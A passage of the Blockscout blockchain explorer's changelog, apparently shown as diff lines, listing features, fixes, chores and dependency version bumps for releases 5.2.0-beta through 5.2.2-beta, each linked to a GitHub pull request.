+- [#8441](https://github.com/blockscout/blockscout/pull/8441) - Bump eslint from 8.48.0 to 8.49.0 in /apps/block_scout_web/assets +- [#8439](https://github.com/blockscout/blockscout/pull/8439) - Bump ex_cldr_numbers from 2.32.0 to 2.32.1 +- [#8444](https://github.com/blockscout/blockscout/pull/8444) - Bump ex_cldr_numbers from 2.32.1 to 2.32.2 +- [#8445](https://github.com/blockscout/blockscout/pull/8445) - Bump ex_abi from 0.6.1 to 0.6.2 +- [#8450](https://github.com/blockscout/blockscout/pull/8450) - Bump jest-environment-jsdom from 29.6.4 to 29.7.0 in /apps/block_scout_web/assets +- [#8451](https://github.com/blockscout/blockscout/pull/8451) - Bump jest from 29.6.4 to 29.7.0 in /apps/block_scout_web/assets +- [#8463](https://github.com/blockscout/blockscout/pull/8463) - Bump sass from 1.66.1 to 1.67.0 in /apps/block_scout_web/assets +- [#8464](https://github.com/blockscout/blockscout/pull/8464) - Bump @babel/core from 7.22.17 to 7.22.19 in /apps/block_scout_web/assets +- [#8462](https://github.com/blockscout/blockscout/pull/8462) - Bump sweetalert2 from 11.7.27 to 11.7.28 in /apps/block_scout_web/assets +- [#8479](https://github.com/blockscout/blockscout/pull/8479) - Bump photoswipe from 5.4.0 to 5.4.1 in /apps/block_scout_web/assets +- [#8483](https://github.com/blockscout/blockscout/pull/8483) - Bump @amplitude/analytics-browser from 2.2.3 to 2.3.1 in /apps/block_scout_web/assets +- [#8481](https://github.com/blockscout/blockscout/pull/8481) - Bump @babel/preset-env from 7.22.15 to 7.22.20 in /apps/block_scout_web/assets +- [#8480](https://github.com/blockscout/blockscout/pull/8480) - Bump @babel/core from 7.22.19 to 7.22.20 in /apps/block_scout_web/assets +- [#8482](https://github.com/blockscout/blockscout/pull/8482) - Bump viewerjs from 1.11.5 to 1.11.6 in /apps/block_scout_web/assets +- [#8489](https://github.com/blockscout/blockscout/pull/8489) - Bump postcss from 8.4.29 to 8.4.30 in /apps/block_scout_web/assets + +
+ +## 5.2.2-beta + +### Features + +- [#8218](https://github.com/blockscout/blockscout/pull/8218) - Add `/api/v2/search/quick` method +- [#8202](https://github.com/blockscout/blockscout/pull/8202) - Add `/api/v2/addresses/:address_hash/tabs-counters` endpoint +- [#8156](https://github.com/blockscout/blockscout/pull/8156) - Add `is_verified_via_admin_panel` property to tokens table +- [#8165](https://github.com/blockscout/blockscout/pull/8165), [#8201](https://github.com/blockscout/blockscout/pull/8201) - Add broadcast of updated address_current_token_balances +- [#7952](https://github.com/blockscout/blockscout/pull/7952) - Add parsing constructor arguments for sourcify contracts +- [#6190](https://github.com/blockscout/blockscout/pull/6190) - Add EIP-1559 support to gas price oracle +- [#7977](https://github.com/blockscout/blockscout/pull/7977) - GraphQL: extend schema with new field for existing objects +- [#8158](https://github.com/blockscout/blockscout/pull/8158), [#8164](https://github.com/blockscout/blockscout/pull/8164) - Include unfetched balances in TokenBalanceOnDemand fetcher + +### Fixes + +- [#8233](https://github.com/blockscout/blockscout/pull/8233) - Fix API v2 broken tx response +- [#8147](https://github.com/blockscout/blockscout/pull/8147) - Switch sourcify tests from POA Sokol to Gnosis Chiado +- [#8145](https://github.com/blockscout/blockscout/pull/8145) - Handle negative holders count in API v2 +- [#8040](https://github.com/blockscout/blockscout/pull/8040) - Resolve issue with Docker image for Mac M1/M2 +- [#8060](https://github.com/blockscout/blockscout/pull/8060) - Fix eth_getLogs API endpoint +- [#8082](https://github.com/blockscout/blockscout/pull/8082), [#8088](https://github.com/blockscout/blockscout/pull/8088) - Fix Rootstock charts API +- [#7992](https://github.com/blockscout/blockscout/pull/7992) - Fix missing range insert +- [#8022](https://github.com/blockscout/blockscout/pull/8022) - Don't add reorg block number to missing blocks + +### Chore + +- [#8222](https://github.com/blockscout/blockscout/pull/8222) - docker-compose for new UI with external backend +- [#8177](https://github.com/blockscout/blockscout/pull/8177) - Refactor address counter functions +- [#8183](https://github.com/blockscout/blockscout/pull/8183) - Update frontend envs in order to pass their validation +- [#8167](https://github.com/blockscout/blockscout/pull/8167) - Manage concurrency for Token and TokenBalance fetcher +- [#8179](https://github.com/blockscout/blockscout/pull/8179) - Enhance nginx config +- [#8146](https://github.com/blockscout/blockscout/pull/8146) - Add method_id to write methods in API v2 response +- [#8105](https://github.com/blockscout/blockscout/pull/8105) - Extend API v1 with endpoints used by new UI +- [#8104](https://github.com/blockscout/blockscout/pull/8104) - remove "TODO" from API v2 response +- [#8100](https://github.com/blockscout/blockscout/pull/8100), [#8103](https://github.com/blockscout/blockscout/pull/8103) - Extend docker-compose configs with new config when front is running externally +- [#8012](https://github.com/blockscout/blockscout/pull/8012) - API v2 smart-contract verification extended logging + +
+ Dependencies version bumps + +- [#7980](https://github.com/blockscout/blockscout/pull/7980) - Bump solc from 0.8.20 to 0.8.21 in /apps/explorer +- [#7986](https://github.com/blockscout/blockscout/pull/7986) - Bump sass from 1.63.6 to 1.64.0 in /apps/block_scout_web/assets +- [#8030](https://github.com/blockscout/blockscout/pull/8030) - Bump sweetalert2 from 11.7.18 to 11.7.20 in /apps/block_scout_web/assets +- [#8029](https://github.com/blockscout/blockscout/pull/8029) - Bump viewerjs from 1.11.3 to 1.11.4 in /apps/block_scout_web/assets +- [#8028](https://github.com/blockscout/blockscout/pull/8028) - Bump sass from 1.64.0 to 1.64.1 in /apps/block_scout_web/assets +- [#8026](https://github.com/blockscout/blockscout/pull/8026) - Bump dataloader from 1.0.10 to 1.0.11 +- [#8036](https://github.com/blockscout/blockscout/pull/8036) - Bump ex_cldr_numbers from 2.31.1 to 2.31.3 +- [#8027](https://github.com/blockscout/blockscout/pull/8027) - Bump absinthe from 1.7.4 to 1.7.5 +- [#8035](https://github.com/blockscout/blockscout/pull/8035) - Bump wallaby from 0.30.4 to 0.30.5 +- [#8038](https://github.com/blockscout/blockscout/pull/8038) - Bump chart.js from 4.3.0 to 4.3.1 in /apps/block_scout_web/assets +- [#8047](https://github.com/blockscout/blockscout/pull/8047) - Bump chart.js from 4.3.1 to 4.3.2 in /apps/block_scout_web/assets +- [#8000](https://github.com/blockscout/blockscout/pull/8000) - Bump postcss from 8.4.26 to 8.4.27 in /apps/block_scout_web/assets +- [#8052](https://github.com/blockscout/blockscout/pull/8052) - Bump @amplitude/analytics-browser from 2.1.2 to 2.1.3 in /apps/block_scout_web/assets +- [#8054](https://github.com/blockscout/blockscout/pull/8054) - Bump jest-environment-jsdom from 29.6.1 to 29.6.2 in /apps/block_scout_web/assets +- [#8063](https://github.com/blockscout/blockscout/pull/8063) - Bump eslint from 8.45.0 to 8.46.0 in /apps/block_scout_web/assets +- [#8066](https://github.com/blockscout/blockscout/pull/8066) - Bump ex_json_schema from 0.9.3 to 0.10.1 +- [#8064](https://github.com/blockscout/blockscout/pull/8064) - Bump core-js from 3.31.1 to 3.32.0 in /apps/block_scout_web/assets +- [#8053](https://github.com/blockscout/blockscout/pull/8053) - Bump jest from 29.6.1 to 29.6.2 in /apps/block_scout_web/assets +- [#8065](https://github.com/blockscout/blockscout/pull/8065) - Bump eslint-plugin-import from 2.27.5 to 2.28.0 in /apps/block_scout_web/assets +- [#8092](https://github.com/blockscout/blockscout/pull/8092) - Bump exvcr from 0.14.1 to 0.14.2 +- [#8091](https://github.com/blockscout/blockscout/pull/8091) - Bump sass from 1.64.1 to 1.64.2 in /apps/block_scout_web/assets +- [#8114](https://github.com/blockscout/blockscout/pull/8114) - Bump ex_doc from 0.30.3 to 0.30.4 +- [#8115](https://github.com/blockscout/blockscout/pull/8115) - Bump chart.js from 4.3.2 to 4.3.3 in /apps/block_scout_web/assets +- [#8116](https://github.com/blockscout/blockscout/pull/8116) - Bump @fortawesome/fontawesome-free from 6.4.0 to 6.4.2 in /apps/block_scout_web/assets +- [#8142](https://github.com/blockscout/blockscout/pull/8142) - Bump sobelow from 0.12.2 to 0.13.0 +- [#8141](https://github.com/blockscout/blockscout/pull/8141) - Bump @babel/core from 7.22.9 to 7.22.10 in /apps/block_scout_web/assets +- [#8140](https://github.com/blockscout/blockscout/pull/8140) - Bump @babel/preset-env from 7.22.9 to 7.22.10 in /apps/block_scout_web/assets +- [#8160](https://github.com/blockscout/blockscout/pull/8160) - Bump exvcr from 0.14.2 to 0.14.3 +- [#8159](https://github.com/blockscout/blockscout/pull/8159) - Bump luxon from 3.3.0 to 3.4.0 in /apps/block_scout_web/assets +- [#8169](https://github.com/blockscout/blockscout/pull/8169) - Bump sass from 1.64.2 to 1.65.1 in /apps/block_scout_web/assets +- [#8170](https://github.com/blockscout/blockscout/pull/8170) - Bump sweetalert2 from 11.7.20 to 11.7.22 in /apps/block_scout_web/assets +- [#8188](https://github.com/blockscout/blockscout/pull/8188) - Bump eslint from 8.46.0 to 8.47.0 in /apps/block_scout_web/assets +- [#8204](https://github.com/blockscout/blockscout/pull/8204) - Bump ex_doc from 0.30.4 to 0.30.5 +- [#8207](https://github.com/blockscout/blockscout/pull/8207) - Bump wallaby from 0.30.5 to 0.30.6 +- [#8212](https://github.com/blockscout/blockscout/pull/8212) - Bump sweetalert2 from 11.7.22 to 11.7.23 in /apps/block_scout_web/assets +- [#8203](https://github.com/blockscout/blockscout/pull/8203) - Bump autoprefixer from 10.4.14 to 10.4.15 in /apps/block_scout_web/assets +- [#8214](https://github.com/blockscout/blockscout/pull/8214) - Bump @amplitude/analytics-browser from 2.1.3 to 2.2.0 in /apps/block_scout_web/assets +- [#8225](https://github.com/blockscout/blockscout/pull/8225) - Bump postcss from 8.4.27 to 8.4.28 in /apps/block_scout_web/assets +- [#8224](https://github.com/blockscout/blockscout/pull/8224) - Bump gettext from 0.22.3 to 0.23.1 + +
+ +## 5.2.1-beta + +### Features + +- [#7970](https://github.com/blockscout/blockscout/pull/7970) - Search improvements: add sorting +- [#7771](https://github.com/blockscout/blockscout/pull/7771) - CSV export: speed up +- [#7962](https://github.com/blockscout/blockscout/pull/7962) - Allow indicate CMC id of the coin through env var +- [#7946](https://github.com/blockscout/blockscout/pull/7946) - API v2 rate limit: Put token to cookies & change /api/v2/key method +- [#7888](https://github.com/blockscout/blockscout/pull/7888) - Add token balances info to watchlist address response +- [#7898](https://github.com/blockscout/blockscout/pull/7898) - Add possibility to add extra headers with JSON RPC URL +- [#7836](https://github.com/blockscout/blockscout/pull/7836) - Improve unverified email flow +- [#7784](https://github.com/blockscout/blockscout/pull/7784) - Search improvements: Add new fields, light refactoring +- [#7811](https://github.com/blockscout/blockscout/pull/7811) - Filter addresses before insertion +- [#7895](https://github.com/blockscout/blockscout/pull/7895) - API v2: Add sorting to tokens page +- [#7859](https://github.com/blockscout/blockscout/pull/7859) - Add TokenTotalSupplyUpdater +- [#7873](https://github.com/blockscout/blockscout/pull/7873) - Chunk realtime balances requests +- [#7927](https://github.com/blockscout/blockscout/pull/7927) - Delete token balances only for blocks that lost consensus +- [#7947](https://github.com/blockscout/blockscout/pull/7947) - Improve locks acquiring + +### Fixes + +- [#8187](https://github.com/blockscout/blockscout/pull/8187) - API v1 500 error convert to 404, if requested path is incorrect +- [#7852](https://github.com/blockscout/blockscout/pull/7852) - Token balances refactoring & fixes +- [#7872](https://github.com/blockscout/blockscout/pull/7872) - Fix pending gas price in pending tx +- [#7875](https://github.com/blockscout/blockscout/pull/7875) - Fix twin compiler version +- [#7825](https://github.com/blockscout/blockscout/pull/7825) - Fix nginx config for the new frontend websockets +- [#7772](https://github.com/blockscout/blockscout/pull/7772) - Fix parsing of database password period(s) +- [#7803](https://github.com/blockscout/blockscout/pull/7803) - Fix additional sources and interfaces, save names for vyper contracts +- [#7758](https://github.com/blockscout/blockscout/pull/7758) - Remove limit for configurable fetchers +- [#7764](https://github.com/blockscout/blockscout/pull/7764) - Fix missing ranges insertion and deletion logic +- [#7843](https://github.com/blockscout/blockscout/pull/7843) - Fix created_contract_code_indexed_at updating +- [#7855](https://github.com/blockscout/blockscout/pull/7855) - Handle internal transactions unique_violation +- [#7899](https://github.com/blockscout/blockscout/pull/7899) - Fix catchup numbers_to_ranges function +- [#7951](https://github.com/blockscout/blockscout/pull/7951) - Fix TX url in email notifications on mainnet + +### Chore + +- [#7963](https://github.com/blockscout/blockscout/pull/7963) - Op Stack: ignore depositNonce +- [#7954](https://github.com/blockscout/blockscout/pull/7954) - Enhance Account Explorer.Account.Notifier.Email module tests +- [#7950](https://github.com/blockscout/blockscout/pull/7950) - Add GA CI for Eth Goerli chain +- [#7934](https://github.com/blockscout/blockscout/pull/7934), [#7936](https://github.com/blockscout/blockscout/pull/7936) - Explicitly set consensus == true in queries (convenient for search), remove logger requirements, where it is not used anymore +- [#7901](https://github.com/blockscout/blockscout/pull/7901) - Fix Docker image build +- [#7890](https://github.com/blockscout/blockscout/pull/7890), [#7918](https://github.com/blockscout/blockscout/pull/7918) - Resolve warning: Application.get_env/2 is discouraged in the module body, use Application.compile_env/3 instead +- [#7863](https://github.com/blockscout/blockscout/pull/7863) - Add max_age for account sessions +- [#7841](https://github.com/blockscout/blockscout/pull/7841) - CORS setup for docker-compose config with new frontend +- [#7832](https://github.com/blockscout/blockscout/pull/7832), [#7891](https://github.com/blockscout/blockscout/pull/7891) - API v2: Add block_number, block_hash to logs +- [#7789](https://github.com/blockscout/blockscout/pull/7789) - Fix test warnings; Fix name of `MICROSERVICE_ETH_BYTECODE_DB_INTERVAL_BETWEEN_LOOKUPS` env variable +- [#7819](https://github.com/blockscout/blockscout/pull/7819) - Add logging for unknown error verification result +- [#7781](https://github.com/blockscout/blockscout/pull/7781) - Add `/api/v1/health/liveness` and `/api/v1/health/readiness` + +
+ Dependencies version bumps + +- [#7759](https://github.com/blockscout/blockscout/pull/7759) - Bump sass from 1.63.4 to 1.63.5 in /apps/block_scout_web/assets +- [#7760](https://github.com/blockscout/blockscout/pull/7760) - Bump @amplitude/analytics-browser from 2.0.0 to 2.0.1 in /apps/block_scout_web/assets +- [#7762](https://github.com/blockscout/blockscout/pull/7762) - Bump webpack from 5.87.0 to 5.88.0 in /apps/block_scout_web/assets +- [#7769](https://github.com/blockscout/blockscout/pull/7769) - Bump sass from 1.63.5 to 1.63.6 in /apps/block_scout_web/assets +- [#7805](https://github.com/blockscout/blockscout/pull/7805) - Bump ssl_verify_fun from 1.1.6 to 1.1.7 +- [#7812](https://github.com/blockscout/blockscout/pull/7812) - Bump webpack from 5.88.0 to 5.88.1 in /apps/block_scout_web/assets +- [#7770](https://github.com/blockscout/blockscout/pull/7770) - Bump @amplitude/analytics-browser from 2.0.1 to 2.1.0 in /apps/block_scout_web/assets +- [#7821](https://github.com/blockscout/blockscout/pull/7821) - Bump absinthe from 1.7.1 to 1.7.3 +- [#7823](https://github.com/blockscout/blockscout/pull/7823) - Bump @amplitude/analytics-browser from 2.1.0 to 2.1.1 in /apps/block_scout_web/assets +- [#7838](https://github.com/blockscout/blockscout/pull/7838) - Bump gettext from 0.22.2 to 0.22.3 +- [#7840](https://github.com/blockscout/blockscout/pull/7840) - Bump eslint from 8.43.0 to 8.44.0 in /apps/block_scout_web/assets +- [#7839](https://github.com/blockscout/blockscout/pull/7839) - Bump photoswipe from 5.3.7 to 5.3.8 in /apps/block_scout_web/assets +- [#7850](https://github.com/blockscout/blockscout/pull/7850) - Bump jest-environment-jsdom from 29.5.0 to 29.6.0 in /apps/block_scout_web/assets +- [#7848](https://github.com/blockscout/blockscout/pull/7848) - Bump @amplitude/analytics-browser from 2.1.1 to 2.1.2 in /apps/block_scout_web/assets +- [#7847](https://github.com/blockscout/blockscout/pull/7847) - Bump @babel/core from 7.22.5 to 7.22.6 in /apps/block_scout_web/assets +- [#7846](https://github.com/blockscout/blockscout/pull/7846) - Bump @babel/preset-env from 7.22.5 to 7.22.6 in /apps/block_scout_web/assets +- [#7856](https://github.com/blockscout/blockscout/pull/7856) - Bump ex_cldr from 2.37.1 to 2.37.2 +- [#7870](https://github.com/blockscout/blockscout/pull/7870) - Bump jest from 29.5.0 to 29.6.1 in /apps/block_scout_web/assets +- [#7867](https://github.com/blockscout/blockscout/pull/7867) - Bump postcss from 8.4.24 to 8.4.25 in /apps/block_scout_web/assets +- [#7871](https://github.com/blockscout/blockscout/pull/7871) - Bump @babel/core from 7.22.6 to 7.22.8 in /apps/block_scout_web/assets +- [#7868](https://github.com/blockscout/blockscout/pull/7868) - Bump jest-environment-jsdom from 29.6.0 to 29.6.1 in /apps/block_scout_web/assets +- [#7866](https://github.com/blockscout/blockscout/pull/7866) - Bump @babel/preset-env from 7.22.6 to 7.22.7 in /apps/block_scout_web/assets +- [#7869](https://github.com/blockscout/blockscout/pull/7869) - Bump core-js from 3.31.0 to 3.31.1 in /apps/block_scout_web/assets +- [#7884](https://github.com/blockscout/blockscout/pull/7884) - Bump ecto from 3.10.2 to 3.10.3 +- [#7882](https://github.com/blockscout/blockscout/pull/7882) - Bump jason from 1.4.0 to 1.4.1 +- [#7880](https://github.com/blockscout/blockscout/pull/7880) - Bump absinthe from 1.7.3 to 1.7.4 +- [#7879](https://github.com/blockscout/blockscout/pull/7879) - Bump babel-loader from 9.1.2 to 9.1.3 in /apps/block_scout_web/assets +- [#7881](https://github.com/blockscout/blockscout/pull/7881) - Bump ex_cldr_numbers from 2.31.1 to 2.31.2 +- [#7883](https://github.com/blockscout/blockscout/pull/7883) - Bump ex_doc from 0.29.4 to 0.30.1 +- [#7916](https://github.com/blockscout/blockscout/pull/7916) - Bump semver from 5.7.1 to 5.7.2 in /apps/explorer +- [#7912](https://github.com/blockscout/blockscout/pull/7912) - Bump sweetalert2 from 11.7.12 to 11.7.16 in /apps/block_scout_web/assets +- [#7913](https://github.com/blockscout/blockscout/pull/7913) - Bump ex_doc from 0.30.1 to 0.30.2 +- [#7923](https://github.com/blockscout/blockscout/pull/7923) - Bump postgrex from 0.17.1 to 0.17.2 +- [#7921](https://github.com/blockscout/blockscout/pull/7921) - Bump @babel/preset-env from 7.22.7 to 7.22.9 in /apps/block_scout_web/assets +- [#7922](https://github.com/blockscout/blockscout/pull/7922) - Bump @babel/core from 7.22.8 to 7.22.9 in /apps/block_scout_web/assets +- [#7931](https://github.com/blockscout/blockscout/pull/7931) - Bump wallaby from 0.30.3 to 0.30.4 +- [#7940](https://github.com/blockscout/blockscout/pull/7940) - Bump postcss from 8.4.25 to 8.4.26 in /apps/block_scout_web/assets +- [#7939](https://github.com/blockscout/blockscout/pull/7939) - Bump eslint from 8.44.0 to 8.45.0 in /apps/block_scout_web/assets +- [#7955](https://github.com/blockscout/blockscout/pull/7955) - Bump sweetalert2 from 11.7.16 to 11.7.18 in /apps/block_scout_web/assets +- [#7958](https://github.com/blockscout/blockscout/pull/7958) - Bump ex_doc from 0.30.2 to 0.30.3 +- [#7965](https://github.com/blockscout/blockscout/pull/7965) - Bump webpack from 5.88.1 to 5.88.2 in /apps/block_scout_web/assets +- [#7972](https://github.com/blockscout/blockscout/pull/7972) - Bump word-wrap from 1.2.3 to 1.2.4 in /apps/block_scout_web/assets + +
+ +## 5.2.0-beta + +### Features + +- [#7502](https://github.com/blockscout/blockscout/pull/7502) - Improve performance of some methods, endpoints and SQL queries +- [#7665](https://github.com/blockscout/blockscout/pull/7665) - Add standard-json vyper verification +- [#7685](https://github.com/blockscout/blockscout/pull/7685) - Add yul filter and "language" field for smart contracts +- [#7653](https://github.com/blockscout/blockscout/pull/7653) - Add support for DEPOSIT and WITHDRAW token transfer event in older contracts +- [#7628](https://github.com/blockscout/blockscout/pull/7628) - Support partially verified property from verifier MS; Add property to track contracts automatically verified via eth-bytecode-db +- [#7603](https://github.com/blockscout/blockscout/pull/7603) - Add Polygon Edge and optimism genesis files support +- [#7585](https://github.com/blockscout/blockscout/pull/7585) - Store and display native coin market cap from the DB +- [#7513](https://github.com/blockscout/blockscout/pull/7513) - Add Polygon Edge support +- [#7532](https://github.com/blockscout/blockscout/pull/7532) - Handle empty id in json rpc responses +- [#7544](https://github.com/blockscout/blockscout/pull/7544) - Add ERC-1155 signatures to uncataloged_token_transfer_block_numbers +- [#7363](https://github.com/blockscout/blockscout/pull/7363) - CSV export filters +- [#7697](https://github.com/blockscout/blockscout/pull/7697) - Limit fetchers init tasks + +### Fixes + +- [#7712](https://github.com/blockscout/blockscout/pull/7712) - Transaction actions import fix +- [#7709](https://github.com/blockscout/blockscout/pull/7709) - Contract args displaying bug +- [#7654](https://github.com/blockscout/blockscout/pull/7654) - Optimize exchange rates requests rate +- [#7636](https://github.com/blockscout/blockscout/pull/7636) - Remove receive from read methods +- [#7635](https://github.com/blockscout/blockscout/pull/7635) - Fix single 1155 transfer displaying +- [#7629](https://github.com/blockscout/blockscout/pull/7629) - Fix NFT fetcher +- [#7614](https://github.com/blockscout/blockscout/pull/7614) - API and smart-contracts fixes and improvements +- [#7611](https://github.com/blockscout/blockscout/pull/7611) - Fix tokens pagination +- [#7566](https://github.com/blockscout/blockscout/pull/7566) - Account: check composed email before sending +- [#7564](https://github.com/blockscout/blockscout/pull/7564) - Return contract type in address view +- [#7562](https://github.com/blockscout/blockscout/pull/7562) - Remove fallback from Read methods +- [#7537](https://github.com/blockscout/blockscout/pull/7537), [#7553](https://github.com/blockscout/blockscout/pull/7553) - Withdrawals fixes and improvements +- [#7546](https://github.com/blockscout/blockscout/pull/7546) - API v2: fix today coin price (use in-memory or cached in DB value) +- [#7545](https://github.com/blockscout/blockscout/pull/7545) - API v2: Check if cached exchange rate is empty before replacing DB value in stats API +- [#7516](https://github.com/blockscout/blockscout/pull/7516) - Fix shrinking logo in Safari +- [#7590](https://github.com/blockscout/blockscout/pull/7590) - Drop genesis block in internal transactions fetcher +- [#7639](https://github.com/blockscout/blockscout/pull/7639) - Fix contract creation transactions +- [#7724](https://github.com/blockscout/blockscout/pull/7724), [#7753](https://github.com/blockscout/blockscout/pull/7753) - Move MissingRangesCollector init logic to handle_continue +- [#7751](https://github.com/blockscout/blockscout/pull/7751) - Add missing method_to_url params for trace transactions + +### Chore + +- [#7699](https://github.com/blockscout/blockscout/pull/7699) - Add block_number index for address_coin_balances table +- [#7666](https://github.com/blockscout/blockscout/pull/7666), [#7740](https://github.com/blockscout/blockscout/pull/7740), [#7741](https://github.com/blockscout/blockscout/pull/7741) - Search label query +- [#7644](https://github.com/blockscout/blockscout/pull/7644) - Publish docker images CI for prod/staging branches +- [#7594](https://github.com/blockscout/blockscout/pull/7594) - Stats service support in docker-compose config with new frontend +- [#7576](https://github.com/blockscout/blockscout/pull/7576) - Check left blocks in pending block operations in order to decide, if we need to display indexing int tx banner at the top +- [#7543](https://github.com/blockscout/blockscout/pull/7543) - Allow hyphen in DB username + +
+ Dependencies version bumps + +- [#7518](https://github.com/blockscout/blockscout/pull/7518) - Bump mini-css-extract-plugin from 2.7.5 to 2.7.6 in /apps/block_scout_web/assets +- [#7519](https://github.com/blockscout/blockscout/pull/7519) - Bump style-loader from 3.3.2 to 3.3.3 in /apps/block_scout_web/assets +- [#7505](https://github.com/blockscout/blockscout/pull/7505) - Bump webpack from 5.83.0 to 5.83.1 in /apps/block_scout_web/assets +- [#7533](https://github.com/blockscout/blockscout/pull/7533) - Bump sass-loader from 13.2.2 to 13.3.0 in /apps/block_scout_web/assets +- [#7534](https://github.com/blockscout/blockscout/pull/7534) - Bump eslint from 8.40.0 to 8.41.0 in /apps/block_scout_web/assets +- [#7541](https://github.com/blockscout/blockscout/pull/7541) - Bump cldr_utils from 2.23.1 to 2.24.0 +- [#7542](https://github.com/blockscout/blockscout/pull/7542) - Bump ex_cldr_units from 3.16.0 to 3.16.1 +- [#7548](https://github.com/blockscout/blockscout/pull/7548) - Bump briefly from 20d1318 to 678a376 +- [#7547](https://github.com/blockscout/blockscout/pull/7547) - Bump webpack from 5.83.1 to 5.84.0 in /apps/block_scout_web/assets +- [#7554](https://github.com/blockscout/blockscout/pull/7554) - Bump webpack from 5.84.0 to 5.84.1 in /apps/block_scout_web/assets +- [#7568](https://github.com/blockscout/blockscout/pull/7568) - Bump @babel/core from 7.21.8 to 7.22.1 in /apps/block_scout_web/assets +- [#7569](https://github.com/blockscout/blockscout/pull/7569) - Bump postcss-loader from 7.3.0 to 7.3.1 in /apps/block_scout_web/assets +- [#7570](https://github.com/blockscout/blockscout/pull/7570) - Bump number from 1.0.3 to 1.0.4 +- [#7567](https://github.com/blockscout/blockscout/pull/7567) - Bump @babel/preset-env from 7.21.5 to 7.22.2 in /apps/block_scout_web/assets +- [#7582](https://github.com/blockscout/blockscout/pull/7582) - Bump eslint-config-standard from 17.0.0 to 17.1.0 in /apps/block_scout_web/assets +- [#7581](https://github.com/blockscout/blockscout/pull/7581) - Bump sass-loader from 13.3.0 to 13.3.1 in /apps/block_scout_web/assets +- [#7578](https://github.com/blockscout/blockscout/pull/7578) - Bump @babel/preset-env from 7.22.2 to 7.22.4 in /apps/block_scout_web/assets +- [#7577](https://github.com/blockscout/blockscout/pull/7577) - Bump postcss-loader from 7.3.1 to 7.3.2 in /apps/block_scout_web/assets +- [#7579](https://github.com/blockscout/blockscout/pull/7579) - Bump sweetalert2 from 11.7.5 to 11.7.8 in /apps/block_scout_web/assets +- [#7591](https://github.com/blockscout/blockscout/pull/7591) - Bump sweetalert2 from 11.7.8 to 11.7.9 in /apps/block_scout_web/assets +- [#7593](https://github.com/blockscout/blockscout/pull/7593) - Bump ex_json_schema from 0.9.2 to 0.9.3 +- [#7580](https://github.com/blockscout/blockscout/pull/7580) - Bump postcss from 8.4.23 to 8.4.24 in /apps/block_scout_web/assets +- [#7601](https://github.com/blockscout/blockscout/pull/7601) - Bump sweetalert2 from 11.7.9 to 11.7.10 in /apps/block_scout_web/assets +- [#7602](https://github.com/blockscout/blockscout/pull/7602) - Bump mime from 2.0.3 to 2.0.4 +- [#7618](https://github.com/blockscout/blockscout/pull/7618) - Bump gettext from 0.22.1 to 0.22.2 +- [#7617](https://github.com/blockscout/blockscout/pull/7617) - Bump @amplitude/analytics-browser from 1.10.3 to 1.10.4 in /apps/block_scout_web/assets +- [#7609](https://github.com/blockscout/blockscout/pull/7609) - Bump webpack from 5.84.1 to 5.85.0 in /apps/block_scout_web/assets +- [#7610](https://github.com/blockscout/blockscout/pull/7610) - Bump mime from 2.0.4 to 2.0.5 +- [#7634](https://github.com/blockscout/blockscout/pull/7634) - Bump eslint from 8.41.0 to 8.42.0 in /apps/block_scout_web/assets +- [#7633](https://github.com/blockscout/blockscout/pull/7633) - Bump floki from 0.34.2 to 0.34.3 +- [#7631](https://github.com/blockscout/blockscout/pull/7631) - Bump phoenix_ecto from 4.4.1 to 4.4.2 +- [#7630](https://github.com/blockscout/blockscout/pull/7630) - Bump webpack-cli from 5.1.1 to 5.1.3 in /apps/block_scout_web/assets +- [#7632](https://github.com/blockscout/blockscout/pull/7632) - Bump webpack from 5.85.0 to 5.85.1 in /apps/block_scout_web/assets +- [#7646](https://github.com/blockscout/blockscout/pull/7646) - Bump sweetalert2 from 11.7.10 to 11.7.11 in /apps/block_scout_web/assets +- [#7647](https://github.com/blockscout/blockscout/pull/7647) - Bump @amplitude/analytics-browser from 1.10.4 to 1.10.6 in /apps/block_scout_web/assets +- [#7659](https://github.com/blockscout/blockscout/pull/7659) - Bump webpack-cli from 5.1.3 to 5.1.4 in /apps/block_scout_web/assets +- [#7658](https://github.com/blockscout/blockscout/pull/7658) - Bump @amplitude/analytics-browser from 1.10.6 to 1.10.7 in /apps/block_scout_web/assets +- [#7657](https://github.com/blockscout/blockscout/pull/7657) - Bump webpack from 5.85.1 to 5.86.0 in /apps/block_scout_web/assets +- [#7672](https://github.com/blockscout/blockscout/pull/7672) - Bump @babel/preset-env from 7.22.4 to 7.22.5 in /apps/block_scout_web/assets +- [#7674](https://github.com/blockscout/blockscout/pull/7674) - Bump ecto from 3.10.1 to 3.10.2 +- [#7673](https://github.com/blockscout/blockscout/pull/7673) - Bump @babel/core from 7.22.1 to 7.22.5 in /apps/block_scout_web/assets +- [#7671](https://github.com/blockscout/blockscout/pull/7671) - Bump sass from 1.62.1 to 1.63.2 in /apps/block_scout_web/assets +- [#7681](https://github.com/blockscout/blockscout/pull/7681) - Bump sweetalert2 from 11.7.11 to 11.7.12 in /apps/block_scout_web/assets +- [#7679](https://github.com/blockscout/blockscout/pull/7679) - Bump @amplitude/analytics-browser from 1.10.7 to 1.10.8 in /apps/block_scout_web/assets +- [#7680](https://github.com/blockscout/blockscout/pull/7680) - Bump sass from 1.63.2 to 1.63.3 in /apps/block_scout_web/assets +- [#7693](https://github.com/blockscout/blockscout/pull/7693) - Bump sass-loader from 13.3.1 to 13.3.2 in /apps/block_scout_web/assets +- [#7692](https://github.com/blockscout/blockscout/pull/7692) - Bump postcss-loader from 7.3.2 to 7.3.3 in /apps/block_scout_web/assets +- [#7691](https://github.com/blockscout/blockscout/pull/7691) - Bump url from 0.11.0 to 0.11.1 in /apps/block_scout_web/assets +- [#7690](https://github.com/blockscout/blockscout/pull/7690) - Bump core-js from 3.30.2 to 3.31.0 in /apps/block_scout_web/assets +- [#7701](https://github.com/blockscout/blockscout/pull/7701) - Bump css-minimizer-webpack-plugin from 5.0.0 to 5.0.1 in /apps/block_scout_web/assets +- [#7702](https://github.com/blockscout/blockscout/pull/7702) - Bump @amplitude/analytics-browser from 1.10.8 to 1.11.0 in /apps/block_scout_web/assets +- [#7708](https://github.com/blockscout/blockscout/pull/7708) - Bump phoenix_pubsub from 2.1.2 to 2.1.3 +- [#7707](https://github.com/blockscout/blockscout/pull/7707) - Bump @amplitude/analytics-browser from 1.11.0 to 2.0.0 in /apps/block_scout_web/assets +- [#7706](https://github.com/blockscout/blockscout/pull/7706) - Bump webpack from 5.86.0 to 5.87.0 in /apps/block_scout_web/assets +- [#7705](https://github.com/blockscout/blockscout/pull/7705) - Bump sass from 1.63.3 to 1.63.4 in /apps/block_scout_web/assets +- 